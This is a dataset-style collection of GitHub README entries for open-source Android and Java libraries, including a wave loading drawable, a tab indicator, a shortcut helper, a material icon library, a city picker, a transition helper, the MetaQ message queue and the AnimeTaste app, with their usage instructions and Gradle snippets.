Copyright (c) 2016 codeestX
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
| 0 |
race604/WaveLoading | A wave-like loading drawable | null | #WaveLoading
This library provides a *wave loading* animation as a **Drawable**.
## How to use
Add dependency:
```
compile 'com.race604.waveloading:library:1.1.1'
```
Use in your project with only one line:
```
Drawable mWaveDrawable = new WaveDrawable(otherDrawable);
// Use as common drawable
imageView.setImageDrawable(mWaveDrawable);
```
Other configurable APIs:
* `public void setWaveAmplitude(int amplitude)`, set wave amplitude (in pixels)
* `public void setWaveLength(int length)`, set wave length (in pixels)
* `public void setWaveSpeed(int step)`, set wave move speed (in pixels)
* `public void setIndeterminate(boolean indeterminate)`, like progress bar, if run
in *indeterminate* mode, it'll increase water level over and over again, otherwise, you can
use `boolean setLevel(int level)` to set the water level, acting as loading progress.
* `public void setIndeterminateAnimator(ValueAnimator animator)`, set you customised animator
for wave loading animation in indeterminate mode.
## License
MIT
| 0 |
yingLanNull/AlphaTabsIndicator | 高仿微信底部状态栏的轻量级库，非MagicIndicator那么功能庞大，简化功能符合大多数BottomTabBar应用设计需求, Lightweight Library of high imitation WeChat bottom status bar | bottombar indicator wechat | # AlphaTabsIndicator
High imitation microblogging at the bottom of the status bar of the lightweight library for most of the bottom status bar application requirements.
## Abstract
Imitation WeChat at the bottom of the tab label, slide the color gradient, increase the angle mark function, the use of extremely simple, only two lines of code.
## Chinese Documents
[查看中文文档](https://github.com/yingLanNull/AlphaTabsIndicator/blob/master/READEME_CN.md)
## Gif
## Screenshot
## Demo
[Download Demo](https://github.com/yingLanNull/AlphaTabsIndicator/blob/master/show/app-debug.apk)
## Usage
### Step 1
#### Gradle
```
dependencies {
compile 'com.yinglan.alphatabs:library:1.0.8'
}
```
### Step 2
#### In Layout
```
<com.yinglan.alphatabs.AlphaTabsIndicator
android:id="@+id/alphaIndicator"
android:layout_width="match_parent"
android:layout_height="55dp"
android:orientation="horizontal">
<com.yinglan.alphatabs.AlphaTabView
android:layout_width="0dp"
android:layout_height="match_parent"
android:layout_weight="1"
android:padding="5dp"
app:tabIconNormal=""
app:tabIconSelected=""
app:tabText=""
app:tabTextSize=""
app:textColorNormal=""
app:textColorSelected=""
app:badgeBackgroundColor=""
app:paddingTexwithIcon=""/>
<com.yinglan.alphatabs.AlphaTabView
android:layout_width="0dp"
android:layout_height="match_parent"
android:layout_weight="1"
android:padding="5dp"
app:tabIconNormal=""
app:tabIconSelected=""
app:tabText=""
app:tabTextSize=""
app:textColorNormal=""
app:textColorSelected=""
app:badgeBackgroundColor=""
app:paddingTexwithIcon=""/>
、、、、
、、、、
</com.yinglan.alphatabs.AlphaTabsIndicator> //模式
```
#### Function and parameter definition
<table>
<tdead>
<tr>
<th align="center">Parameters</th>
<th align="center">Meaning</th>
</tr>
</tdead>
<tbody>
<tr>
<td align="center">tabIconNormal</td>
<td align="center">Unselected icon</td>
</tr>
<tr>
<td align="center">tabIconSelected</td>
<td align="center">Already selected icon</td>
</tr>
<tr>
<td align="center">tabText</td>
<td align="center">Tab tag text</td>
</tr>
<tr>
<td align="center">tabTextSize</td>
<td align="center">Tab The size of the label</td>
</tr>
<tr>
<td align="center">textColorNormal</td>
<td align="center">Unchecked text color</td>
</tr>
<tr>
<td align="center">textColorSelected</td>
<td align="center">Selected text color</td>
</tr>
<tr>
<td align="center">badgeBackgroundColor</td>
<td align="center">Corner background color, default red</td>
</tr>
<tr>
<td align="center">paddingTexwithIcon</td>
<td align="center">The distance between the icon and text</td>
</tr>
</tbody>
</table>
#### In Code
##### AlphaTabView Main Method
```
mAlphaTabView.showNumber(int i); //Display digital remind
mAlphaTabView.showPoint(); //Show little red dot
mAlphaTabView.removeShow(); //Remove the digital remind
```
##### AlphaTabsIndicator Main Method
```
mAlphaTabsIndicator.setViewPager(ViewPager mViewPger); //Set ViewPager
mAlphaTabsIndicator.setOnTabChangedListner(OnTabChangedListner listner); //Settings TAB at the bottom click to monitor
mAlphaTabsIndicator.removeAllBadge(); //Remove all remind the TAB
mAlphaTabsIndicator.setTabCurrenItem(int tabIndex); //Settings TAB option
```
#### Instructions
The library is in the permission of the Mr [jeasonlzy](https://github.com/jeasonlzy) permission,on the basis of his [AlphaIndicatorView](https://github.com/jeasonlzy/AlphaIndicatorView) do usability improvements, thank you, now continue to open source.
## The main improvement:
1. Increase the Angle of standard, make it more close to WeChat TAB at the bottom;
1. The diagonal mark size for dynamic control, adaptive according to the height of the TAB;
1. Limit the appropriate to reduce to use requirement, can be used in the case of not binding viewpager;
1. When without binding ViewPager Settings TAB option;
1. The distance between the icon and text can be configured, the default is 5;
1. Increase click on the TAB to monitor the callback;
1. Increase in code mViewPager. SetCurrentItem (i) TAB linkage control condition;
1. Repair is not set in a state of not click Tab. | 0 |
xuyisheng/ShortcutHelper | a shortcut lib for easy use shortcut | null | # ShortcutLib使用指南
本项目目前还在测试阶段，请大家多提issue，共同完善。
## 项目意义
快速使用shortcut，避免各种ROM适配导致的各种问题。
## 项目可用功能API
### 增加快捷方式
``` java
/**
* 添加快捷方式
*
* @param context context
* @param actionIntent 要启动的Intent
* @param name name
* @param allowRepeat 是否允许重复
* @param iconBitmap 快捷方式图标
*/
public static void addShortcut(Context context, Intent actionIntent, String name,
boolean allowRepeat, Bitmap iconBitmap)
```
### 判断快捷方式是否存在
基础方式
``` java
/**
* 判断快捷方式是否存在
* <p/>
* 检查快捷方式是否存在 <br/>
* <font color=red>注意：</font> 有些手机无法判断是否已经创建过快捷方式<br/>
* 因此，在创建快捷方式时，请添加<br/>
* shortcutIntent.putExtra("duplicate", false);// 不允许重复创建<br/>
* 最好使用{@link #isShortCutExist(Context, String, Intent)}
* 进行判断，因为可能有些应用生成的快捷方式名称是一样的的<br/>
*
* @param context context
* @param title 快捷方式名
* @return 是否存在
*/
public static boolean isShortCutExist(Context context, String title)
```
严格方式（增加Intent的检查）
``` java
/**
* 判断快捷方式是否存在
* <p/>
* 不一定所有的手机都有效，因为国内大部分手机的桌面不是系统原生的<br/>
* 更多请参考{@link #isShortCutExist(Context, String)}<br/>
* 桌面有两种，系统桌面(ROM自带)与第三方桌面，一般只考虑系统自带<br/>
* 第三方桌面如果没有实现系统响应的方法是无法判断的，比如GO桌面<br/>
*
* @param context context
* @param title 快捷方式名
* @param intent 快捷方式Intent
* @return 是否存在
*/
public static boolean isShortCutExist(Context context, String title, Intent intent)
```
### 更新快捷方式
``` java
/**
* 更新桌面快捷方式图标，不一定所有图标都有效(有可能需要系统权限)
*
* @param context context
* @param title 快捷方式名
* @param intent 快捷方式Intent
* @param bitmap 快捷方式Icon
*/
public static void updateShortcutIcon(Context context, String title, Intent intent, Bitmap bitmap)
```
> 需要注意的是，更新快捷方式在很多手机上都不能生效，需要系统权限。可以通过先删除、再新增的方式来实现。
### 为任意PackageName的App添加快捷方式
``` java
/**
* 为任意PackageName的App添加快捷方式
*
* @param context context
* @param pkg 待添加快捷方式的应用包名
* @return 返回true为正常执行完毕
*/
public static boolean addShortcutByPackageName(Context context, String pkg)
```
### 移除快捷方式
``` java
/**
* 移除快捷方式
*
* @param context context
* @param actionIntent 要启动的Intent
* @param name name
*/
public static void removeShortcut(Context context, Intent actionIntent, String name)
```
### 显示隐藏Launcher入口
``` java
/**
* 显示\隐藏Launcher入口
*
* @param context context
* @param launcherClass launcherClass
*/
public static void toggleFlowEntrance(Context context, Class launcherClass)
```
使用Launcher入口需要在AndroidMainifest文件中注册新增的入口Activity，例如：
``` xml
<activity android:name=".MainActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<activity
android:name="com.xxx.xxxxx"
android:theme="@style/Base.Theme.AppCompat.Dialog">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
```
## 使用示例
``` java
public void addShortcutTest(View view) {
// 系统方式创建
// ShortcutUtils.addShortcut(this, getShortCutIntent(), mShortcutName);
// 创建前判断是否存在
if (!ShortcutSuperUtils.isShortCutExist(this, mShortcutName, getShortCutIntent())) {
ShortcutUtils.addShortcut(this, getShortCutIntent(), mShortcutName, false,
BitmapFactory.decodeResource(getResources(), com.hujiang.hj_shortcut_lib.R.drawable.ocsplayer));
finish();
} else {
Toast.makeText(this, "Shortcut is exist!", Toast.LENGTH_SHORT).show();
}
// 为某个包创建快捷方式
// ShortcutSuperUtils.addShortcutByPackageName(this, this.getPackageName());
}
public void removeShortcutTest(View view) {
ShortcutUtils.removeShortcut(this, getShortCutIntent(), mShortcutName);
}
public void updateShortcutTest(View view) {
ShortcutSuperUtils.updateShortcutIcon(this, mShortcutName, getShortCutIntent(),
BitmapFactory.decodeResource(getResources(), com.hujiang.hj_shortcut_lib.R.mipmap.ic_launcher));
}
public void toggleFlowEntrance(View view) {
FlowEntranceUtil.toggleFlowEntrance(this, HJShortcutActivity.class);
}
private Intent getShortCutIntent() {
// 使用MAIN，可以避免部分手机(比如华为、HTC部分机型)删除应用时无法删除快捷方式的问题
Intent intent = new Intent(Intent.ACTION_MAIN);
intent.addCategory(Intent.CATEGORY_DEFAULT);
intent.setClass(MainActivity.this, HJShortcutActivity.class);
return intent;
}
```
## 添加Badge
``` java
/**
* 设置Badge 目前支持Launcher:
* <p/>
* MIUI
* Sony
* Samsung
* LG
* HTC
* Nova
*
* @param context context
* @param count count
*/
public static void setBadgeCount(Context context, int count)
```
该方法可以给icon图标增加角标。
## 移除Badge
``` java
/**
* 重置Badge
*
* @param context context
*/
public static void resetBadgeCount(Context context)
```
| 0 |
code-mc/material-icon-lib | Library containing over 2000 material vector icons that can be easily used as Drawable or as a standalone View. | null | # Material Icon Library
A library containing over 2000 material vector icons that can be easily used as Drawable, a standalone View or inside menu resource files. Tired of having to search for and generate png resources every time you want to test something? This library puts an end to that burden and makes swapping icons a breeze, check out the usage below and you'll see why.
# Demo
# Stats
- MinSdk 4
- LIVE previews and code completion in the Android Studio Designer (Does NOT work out of the box, see step 0 below!)
- Currently contains 2354 icons, you can look at them here: https://materialdesignicons.com
- Configured in less than a minute
- Adds about 257kb to your apk (so a whopping average of __109 bytes per icon__)
- Includes a custom Drawable, IconView and a MenuInflater for all different icon use cases
# Usage
## Step 0
Now I still have your attention, to get the previews to work in Android Studio you'll have to put the font file inside the assets of your project yourself. Due to a bug it does not think about looking inside the library's assets for some odd reason.
Get the font file [__here__](https://github.com/code-mc/material-icon-lib/blob/master/materialiconlib/src/main/assets/materialdesignicons-webfont.ttf?raw=true).
You don't have to worry about android including the file twice in your apk. Android Studio recognizes the duplicate file name and only keeps one copy in your apk!
Previews work inside layout files, menu resource files sadly do not support previews (more on those below).
## Step 1
#### Gradle
```groovy
dependencies {
compile 'net.steamcrafted:materialiconlib:1.1.5'
}
```
## Step 2
There's a total of 3 different use cases (click the links to jump to their section). You can use the provided [`MaterialIconView`](#materialiconview) which mostly is just a more advanced `ImageView` or use your preferred `ImageView` and use the [`MaterialDrawable`](#materialdrawable) as Drawable resource. If you want to spice up your `Toolbar` with icons from this library there is a custom [`MaterialMenuInflater`](#materialmenuinflater) that does just that in a single line of code.
### MaterialIconView
Add the view to your XML:
```xml
<net.steamcrafted.materialiconlib.MaterialIconView
xmlns:app="http://schemas.android.com/apk/res-auto" <!-- VERY IMPORTANT -->
android:layout_width="48dp"
android:layout_height="48dp"
app:materialIcon="clipboard_arrow_down" <!-- This sets the icon, HAS AUTOCOMPLETE ;) -->
app:materialIconColor="#fff" <!-- Sets the icon color -->
app:materialIconSize="24dp" <!-- Sets the icon size -->
android:scaleType="center" <!-- Centers the icon (all scale types supported) -->
android:background="@android:color/darker_gray"
android:id="@+id/icon"
/>
```
You can also use the other route: the "wrap_content" way:
```xml
<net.steamcrafted.materialiconlib.MaterialIconView
xmlns:app="http://schemas.android.com/apk/res-auto" <!-- VERY IMPORTANT -->
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:padding="12dp" <!-- now we use a padding to center the icon -->
app:materialIcon="clipboard_arrow_down" <!-- This sets the icon, HAS AUTOCOMPLETE ;) -->
app:materialIconColor="#fff" <!-- Sets the icon color -->
app:materialIconSize="24dp" <!-- Sets the icon size -->
<!-- scaleType is no longer required for this method -->
android:background="@android:color/darker_gray"
android:id="@+id/icon"
/>
```
The view is inherited from `ImageView`. This means that you can use any and all features of the very flexible `ImageView` BUT be reminded that this view does not cache any of the drawables it creates, so every time you change something about the icon, it's going to regenerate the drawable. Using this view inside listviews is highly discouraged, if you want to use these icons in a `ListView`, cache the drawables and use the `MaterialDrawableBuilder` in combination with an `ImageView`!
As mentioned before this extends the android `ImageView` class, there's a few methods unique to this particular view:
```java
// Sets the icon, all 1000+ icons are available inside the MaterialDrawableBuilder.IconValue enum
yourMaterialIconView.setIcon(IconValue iconValue);
// Sets the size of the icon to the default action bar icon size
yourMaterialIconView.setToActionbarSize();
// Provide a dimension resource to use as icon size
yourMaterialIconView.setSizeResource(int dimenRes);
// Set the icon size using a value in dp units
yourMaterialIconView.setSizeDp(int size);
// Set the icon size using a pixel value
yourMaterialIconView.setSizePx(int size);
// Set the icon color
yourMaterialIconView.setColor(int color);
// Set the icon color using a color resource
yourMaterialIconView.setColorResource(int colorRes);
// Set the icon's alpha value (0-255) 0 for completely transparent
yourMaterialIconView.setAlpha(int alpha);
// Sets a custom colorfilter to the drawing paint (for the more advanced devs)
yourMaterialIconView.setColorFilter(ColorFilter cf);
// Clear the color filter set using above method
yourMaterialIconView.clearColorFilter();
// Sets a custom paint style (for the more advanced devs)
yourMaterialIconView.setStyle(Paint.Style style);
// You can use any of the ImageView methods as well:
yourMaterialIconView.setBackgroundColor(Color.WHITE)
yourMaterialIconView.setScaleType(ScaleType.CENTER)
// etc...
```
### MaterialDrawable
That was easy, right? Next up the custom drawables, they are internally used by the `MaterialIconView` so you'll see that they share many of the same methods.
The initialisation happens using the `MaterialDrawableBuilder`, which you can use to set all the properties of the drawable:
```java
// The method returns a MaterialDrawable, but as it is private to the builder you'll have to store it as a regular Drawable ;)
Drawable yourDrawable = MaterialDrawableBuilder.with(context) // provide a context
.setIcon(MaterialDrawableBuilder.IconValue.WEATHER_RAINY) // provide an icon
.setColor(Color.WHITE) // set the icon color
.setToActionbarSize() // set the icon size
.build(); // Finally call build
```
This will throw an `IconNotSetException` if you forget to provide an icon.
Once you call build, your Drawable will be spit out and you are ready to use it everywhere you please! Setting it to a view is just as easy as with any other `Drawable` (e.g. for `ImageView`):
```java
yourImageView.setImageDrawable(yourDrawable);
```
And that's all there is to it. Below are all the methods you can use with the `MaterialDrawableBuilder` for reference.
```java
// Sets the icon, all 1000+ icons are available inside the MaterialDrawableBuilder.IconValue enum
builder.setIcon(IconValue iconValue);
// Builds the drawable, this method always comes last ofcourse
builder.build();
// Sets the size of the icon to the default action bar icon size
builder.setToActionbarSize();
// Provide a dimension resource to use as icon size
builder.setSizeResource(int dimenRes);
// Set the icon size using a value in dp units
builder.setSizeDp(int size);
// Set the icon size using a pixel value
builder.setSizePx(int size);
// Set the icon color
builder.setColor(int color);
// Set the icon color using a color resource
builder.setColorResource(int colorRes);
// Set the icon's alpha value (0-255) 0 for completely transparent
builder.setAlpha(int alpha);
// Sets a custom colorfilter to the drawing paint (for the more advanced devs)
builder.setColorFilter(ColorFilter cf);
// Clear the color filter set using above method
builder.clearColorFilter();
// Returns the alpha value
builder.getOpacity();
// Sets a custom paint style (for the more advanced devs)
builder.setStyle(Paint.Style style);
```
### MaterialMenuInflater
With the `MaterialMenuInflater` you can use any of the icons available in this library *inside* your menu resource files. In XML you'd have to do the following:
```xml
<menu xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto" <!-- important, you'll have to include this to use the custom xml attributes -->
xmlns:tools="http://schemas.android.com/tools" >
<!-- example of a menu item with an icon -->
<item
android:title="Disable Wifi"
app:showAsAction="always"
app:materialIcon="wifi_off" <!-- This sets the icon, HAS AUTOCOMPLETE ;) -->
app:materialIconColor="#FE0000" <!-- Sets the icon color -->
/>
</menu>
```
To actually inflate this menu you'll now have to use the `MaterialMenuInflater` instead of the default one. For the AppCompatActivity do the following in your `onCreateOptionsMenu`:
```java
@Override
public boolean onCreateOptionsMenu(Menu menu) {
MaterialMenuInflater
.with(this) // Provide the activity context
// Set the fall-back color for all the icons. Colors set inside the XML will always have higher priority
.setDefaultColor(Color.BLUE)
// Inflate the menu
.inflate(R.menu.your_menu_resource, menu);
return true;
}
```
Since the release of the Appcompat-v7 library you can also use the `Toolbar` view inside your XML layouts. Inflating a menu for a toolbar is a bit different from the usual way, but it is just as easy:
```java
// Get the toolbar from layout
Toolbar toolbar = (Toolbar) findViewById(R.id.your_toolbar);
MaterialMenuInflater
.with(this) // Provide a context, activity context will do just fine
// Set the fall-back color for all the icons. Colors set inside the XML will always have higher priority
.setDefaultColor(Color.BLUE)
// Inflate the menu
.inflate(R.menu.your_menu_resource, toolbar.getMenu());
```
And that's all there is to it.
# License
Released under the [Apache 2.0 License](https://github.com/code-mc/material-icon-lib/blob/master/license.md)
* __MaterialDesignicons__ Released under the [SIL Open Font License 1.1](http://opensource.org/licenses/OFL-1.1)
* __Google Material Design Icons__ Released under the [Apache 2.0 License](https://github.com/google/material-design-icons/blob/master/LICENSE)
| 0 |
crazyandcoder/citypicker | citypicker城市选择器，详细的省市区地址信息，支持仿iOS滚轮实现，仿京东样式，一级或者三级列表展示方式。 | area city citypicker district province wheelview | ### **CityPicker 城市选择器**
**在实际的项目中一般情况下都需要使用到省市区三级联动地址选择的功能，有的公司是提供接口获取，有的公司则不是，需要自己实现。一开始，我也深受其扰，每次都是要复制一遍，就想能不能打个包出来，供大伙使用。所以自己就封装了一个，不需要自己添加数据源，直接引用即可。这就是CityPicker城市选择器的由来！**
### **功能点**
1. 支持仿iOS滚轮实现、仿京东样式、一级城市列表、三级城市列表
2. 支持多种自定义属性来满足你的需求
3. 简单的几行代码即可实现城市选择器功能
4. 支持使用自己的数据来实现城市选择器
#### **gradle引用**
1. 在 Project 的 build.gradle 中增加 jitpack 的 maven 地址
```
allprojects {
repositories {
...
maven { url 'https://jitpack.io' }
}
}
```
2. 在 app 的 build.gradle 中增加我们开源库的引用
```
dependencies {
implementation 'com.github.crazyandcoder:citypicker:6.0.2'
}
```
### **更新说明**
#### 最新版本
**V6.0.2版本更新内容（2021.07.09）**
1. 更新数据源，使用最新省市区行政数据
2. 优化汉字转拼音逻辑，提高解析精度
#### 历史更新记录
[历史更新说明](https://github.com/crazyandcoder/citypicker/wiki/%E5%8E%86%E5%8F%B2%E6%9B%B4%E6%96%B0%E8%AE%B0%E5%BD%95)
### **数据来源**
[2018年12月中华人民共和国县以上行政区划代码](http://www.mca.gov.cn/article/sj/xzqh/2018/201804-12/20181201301111.html)
[台湾数据（维基百科）需翻墙](https://zh.wikipedia.org/wiki/%E4%B8%AD%E5%8D%8E%E4%BA%BA%E6%B0%91%E5%85%B1%E5%92%8C%E5%9B%BD%E8%A1%8C%E6%94%BF%E5%8C%BA%E5%88%92%E4%BB%A3%E7%A0%81_(7%E5%8C%BA))
[港澳数据（维基百科）需翻墙](https://zh.wikipedia.org/wiki/%E4%B8%AD%E5%8D%8E%E4%BA%BA%E6%B0%91%E5%85%B1%E5%92%8C%E5%9B%BD%E8%A1%8C%E6%94%BF%E5%8C%BA%E5%88%92%E4%BB%A3%E7%A0%81_(8%E5%8C%BA))
### **效果展示**
| 样式说明 | 图片效果 |
|:--------:| :--------:|
| 样式选择 | |
| 仿iOS滚轮实现| |
| 自定义数据源 | |
|仿京东样式|  |
| 一级城市列表|  |
| 三级城市列表|  |
### **CityPicker使用方法**
#### **一. 仿iOS样式使用方法**
1. [样式一链接-（仿iOS滚轮实现)](https://github.com/crazyandcoder/citypicker/wiki/%E6%A0%B7%E5%BC%8F%E4%B8%80%EF%BC%88%E4%BB%BFiOS%E6%BB%9A%E8%BD%AE%E5%AE%9E%E7%8E%B0%EF%BC%89)
2. [样式一链接-（自定义数据源)](https://github.com/crazyandcoder/citypicker/wiki/%E6%A0%B7%E5%BC%8F%E4%B8%80%EF%BC%88%E4%BB%BFiOS%E6%BB%9A%E8%BD%AE%E5%AE%9E%E7%8E%B0%EF%BC%89%E8%87%AA%E5%AE%9A%E4%B9%89%E6%95%B0%E6%8D%AE%E6%BA%90)
#### **二. 仿京东样式使用方法**
[样式二链接-（仿京东样式)](https://github.com/crazyandcoder/citypicker/wiki/%E6%A0%B7%E5%BC%8F%E5%9B%9B%EF%BC%88%E4%BB%BF%E4%BA%AC%E4%B8%9C%E6%A0%B7%E5%BC%8F%EF%BC%89)
#### **三. 一级城市列表使用方法**
[样式三链接-一级城市列表使用方法](https://github.com/crazyandcoder/citypicker/wiki/%E6%A0%B7%E5%BC%8F%E4%BA%8C%EF%BC%88%E5%9F%8E%E5%B8%82%E4%B8%80%E7%BA%A7%E5%88%97%E8%A1%A8%E5%B1%95%E7%A4%BA%EF%BC%89)
#### **四. 三级城市列表使用方法**
[样式四链接-三级城市列表使用方法](https://github.com/crazyandcoder/citypicker/wiki/%E6%A0%B7%E5%BC%8F%E4%B8%89%EF%BC%88%E7%9C%81%E5%B8%82%E5%8C%BA%E4%B8%89%E7%BA%A7%E5%88%97%E8%A1%A8%EF%BC%89)
#### **代码混淆**
[代码混淆解决方案](https://github.com/crazyandcoder/citypicker/wiki/%E4%BB%A3%E7%A0%81%E6%B7%B7%E6%B7%86)
### **专属QQ群，欢迎加入！**
QQ群：417846442
### **其他问题wiki**
https://github.com/crazyandcoder/citypicker/wiki
### **License**
```
Copyright 2016 crazyandcoder
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
```
### 码农的小世界
欢迎关注本人公众号，学习更多知识，每天定时更新干货。
<p align="center">
<a href="javascript:;" rel="noopener" target="_blank"><img width="70%" src="https://img-blog.csdnimg.cn/20191029194659502.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2xqMTg4MjY2,size_16,color_FFFFFF,t_70" alt="citypicker logo"></a></p>
</p>
### 增长趋势
[](https://starchart.cc/crazyandcoder/citypicker)
| 0 |
ImmortalZ/TransitionHelper | This is a simple util to create Activity transition animation | activity-transition-animation animation transition | # TransitionHelper
This is a **simple** util to create Activity transition animation
API compatible with <b>Android 2.2+</b>
[中文说明](README_zh_CN.md)
## Screenshots
<img src="screenshots/image.gif" width="180" height="320">
<img src="screenshots/recyclerview.gif" width="180" height="320">
<img src="screenshots/button.gif" width="180" height="320">
<img src="screenshots/fab.gif" width="180" height="320">
## How to use
**1.startActivity**
> TransitionsHeleper.startActivity(this, ImageDetailActivity.class, view, load);
**2. in target Activity**
```
TransitionsHeleper.build(this)
.setShowMethod(new ColorShowMethod(R.color.bg_teal_light, R.color.bg_purple) {
@Override
public void loadPlaceholder(InfoBean bean, ImageView placeholder) {
Glide.with(ImageDetailActivity.this)
.load(bean.getLoad())
.centerCrop()
.into(placeholder);
}
@Override
public void loadTargetView(InfoBean bean, View targetView) {
Glide.with(ImageDetailActivity.this)
.load(bean.getLoad())
.centerCrop()
.into((ImageView) targetView);
tv.setText("immortalz");
}
})
.setExposeColor(getResources().getColor(R.color.bg_purple))
.intoTargetView(ivDetail)
.show();
```
**3. unbind this**
```
@Override
protected void onDestroy() {
TransitionsHeleper.unbind(this);
super.onDestroy();
}
```
## API
| name | description
| ------------------------- | -------
| setExposeView | CirleExposeView，FoldExposeView（you can custom others by extends ExposeView）
| setExposeColor | if not set , will be transparent color
| setExposeAcceleration | must > 0 ，default 7
| setShowMethod | NoneShowMethod(Default),ColorShowMethod,InflateShowMethod（you can custom others by extends ShowMethod）
| intoTargetView |
| setTransitionDuration |
| setTransitionListener |
## Quick start
**Gradle**
```java
dependencies {
compile 'me.immortalz:transitionhelper:2.3.4'
}
```
**Maven**
```java
<dependency>
<groupId>me.immortalz</groupId>
<artifactId>transitionhelper</artifactId>
<version>2.3.0</version>
<type>pom</type>
</dependency>
```
## TODO
- [ ] To better support imageview
- [ ] Add Back animation
- [x] Add Animation Listener
## Update record
**v2.3**
- remove TransitionsHeleper.onPause (add TransitionsHeleper.unbind)
- Add setExposeAcceleration
**v2.2**
- Repair because of the constant clicks leading to OOM
- Add more listener
**v2.1**
- Repair caused memory leaks because of misuse
- Add more Animation
## End
Welcome to perfect this library .
## Contact
WeChat
WeiBo：
[http://weibo.com/u/1956502961](http://weibo.com/u/1956502961)
## License
```
Copyright (c) 2017 ImmortalZ
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
``` | 0 |
killme2008/Metamorphosis | A high available,high performance distributed messaging system. | null | 
#新闻
* MetaQ 1.4.6.2发布。[更新日志](https://github.com/killme2008/Metamorphosis/wiki/ReleaseNotes)
* MetaQ 1.4.6.1发布。[更新日志](https://github.com/killme2008/Metamorphosis/wiki/ReleaseNotes)
* MetaQ 1.4.5.1发布。[更新日志](https://github.com/killme2008/Metamorphosis/wiki/ReleaseNotes)
* MetaQ 1.4.5发布。[更新日志](https://github.com/killme2008/Metamorphosis/wiki/ReleaseNotes)
* Meta-ruby 0.1 released: a ruby client for metaq. [SOURCE](https://github.com/killme2008/Metamorphosis/tree/master/contrib/ruby/meta-ruby)
#介绍
[Metamorphosis](http://metaq.taobao.org/)是淘宝开源的一个Java消息中间件，他类似[apache-kafka](http://incubator.apache.org/kafka/)，但不是一个简单的山寨拷贝，而是做了很多改进和优化，项目的主页在[淘蝌蚪](http://metaq.taobao.org/)上。
这是MetaQ的一个github分支，我做了部分优化和改进，并将meta发布到maven central repository，还做了一些wiki文档，我能承诺的是我个人会持续维护本项目。
MetaQ的淘宝版本已经发展到2.0乃至3.0版本，设计原则发生了变更，有兴趣的可以上它的官方网站看。
本分支应用在京东，支付宝，腾讯等公司的产品上。
#关于我
我在淘宝中间件部门工作了近3年，主要负责分布式消息中间件，高性能网络框架，分布式配置产品等的设计和开发，Metamorphosis是我在淘宝发起和实现的项目。目前我在[AVOS.com](http://www.avos.com)工作。我的[个人主页](http://fnil.net/)。
#协议
基于Apache License 2.0
#下载
因为github不再提供下载服务，因此请前往[googlecode](http://code.google.com/p/meta-queue/downloads/list)下载。
或者从我的个人网站下载，请下载后自行对照md5checksum:
[http://fnil.net/downloads/index.html](http://fnil.net/downloads/index.html)
#更多
参见[wiki](https://github.com/killme2008/Metamorphosis/wiki)。
| 0 |
daimajia/AnimeTaste | Taste global original animation | null | #AnimeTaste(全球动画精选)[](https://travis-ci.org/daimajia/AnimeTaste)
[English](./README-en.md)
---------------------
AnimeTaste（品赏艾尼莫）是国内首个关注独立动画的网站。
移动版聚焦更新的全球独立动画的传播，让您随时随地能观看动画，分享快乐给更多好友。品味动画，重拾幻想。
---------------------
AnimeTaste For Android，为全球动画爱好者所开发。
### 体验地址: [豌豆荚](http://www.wandoujia.com/apps/com.zhan_dui.animetaste) [Google Play](https://play.google.com/store/apps/details?id=com.zhan_dui.animetaste) ###
### [豌豆荚110期设计奖](http://www.wandoujia.com/award/blog/com.zhan_dui.animetaste)
### 关于AnimeTaste: ###
* [AnimeTaste官网](http://www.animetaste.net)
* [AnimeTaste创始人Plidezus](http://www.plidezus.net/)
* [开发AnimeTaste的故事](http://blog.daimajia.com/?p=549)
欢迎任何方式的与AnimeTaste的合作。
### 感谢以下库作者和组织
* [ShareSDK for Android](http://sharesdk.cn/) 社交关注。
* [Picasso](https://github.com/square/picasso) 图片缓存
* [Baidu-T5Player-SDK-Android](http://developer.baidu.com/wiki/index.php?title=docs/cplat/media/sdk) 百度T5 Player SDK
* [Android-Switch-Backport](https://github.com/BoD/android-switch-backport) Switch的兼容库
* [Gif-Movie-View](https://github.com/sbakhtiarov/gif-movie-view) Gif动画播放
* [ViewPagerIndicator](https://github.com/JakeWharton/Android-ViewPagerIndicator) 滑动画廊
* [SuperToasts](https://github.com/JohnPersano/SuperToasts) 扩展的Toasts弹出框
* [SwipeBackLayout](https://github.com/Issacw0ng/SwipeBackLayout) 滑动退出
* Android-Support-v7-appcompat Android ActionBar 兼容库
* [sdk-manager-plugin](https://github.com/JakeWharton/sdk-manager-plugin) SDK管理工具
-------------------
### 如何编译 ###
Step-All:
**Mac和Linux用户在根目录运行`./gradlew assemble`, Windows用户运行`gradlew.bat assemble` 稍等片刻即可(会自动下载确实的SDK版本以及依赖包，可能会比较慢)。**
-------
如果出现错误或者有任何问题，请放轻松[联系我](mailto:daimajia@gmail.com)。
###关于我：
我是个学生，酷爱开发，擅长Android、php、python、nodejs、web，如果您手头有适合我的实习或者工作机会，欢迎邮件联系我: [daimajia#gmail.com](mailto:daimajia@gmail.com)
* [西北大学](http://zh.wikipedia.org/wiki/%E8%A5%BF%E5%8C%97%E5%A4%A7%E5%AD%A6_\(%E4%B8%AD%E5%9B%BD\))
